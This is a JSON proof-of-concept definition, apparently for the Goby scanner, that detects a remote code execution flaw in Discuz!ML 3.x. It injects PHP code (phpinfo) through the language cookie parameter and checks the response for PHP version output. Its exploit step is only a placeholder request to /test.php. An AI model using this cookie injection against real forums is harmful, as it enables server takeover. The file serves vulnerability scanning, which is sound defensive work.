{
      "Name": "Discuz!ML 3.x RCE CNVD-2019-22239",
      "Level": "3",
      "Tags": [
            "rce"
      ],
      "GobyQuery": "app=discuz || body=\"Powered by Discuz! X3.4\"",
      "Description": "Discuz!ML is a multilingual open-source engine for build your own community like forum and social network. Based on the well-known Discuz!X engine by Tencent Cloud (used to be Comsenz Inc.).",
      "Product": "Discuz!ML",
      "Homepage": "http://discuz.ml/",
      "Author": "",
      "Impact": "July 11, 2019, Discuz! ML was found to have a remote code execution vulnerability that allows an attacker to exploit remote code execution by inserting a constructed payload into the language parameter in the cookie field of the request traffic.",
      "Recommendation": "",
      "References": [
            "https://www.cnblogs.com/-mo-/p/11180396.html"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/forum.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "cookiepre|lastbody|regex|cookiepre = '([\\w_]+)'"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/forum.php",
                        "follow_redirect": false,
                        "header": {
                              "Cookie": "{{{cookiepre}}}language=sc'.phpinfo().'"
                        },
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "PHP Version",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "System",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/test.php",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "test",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}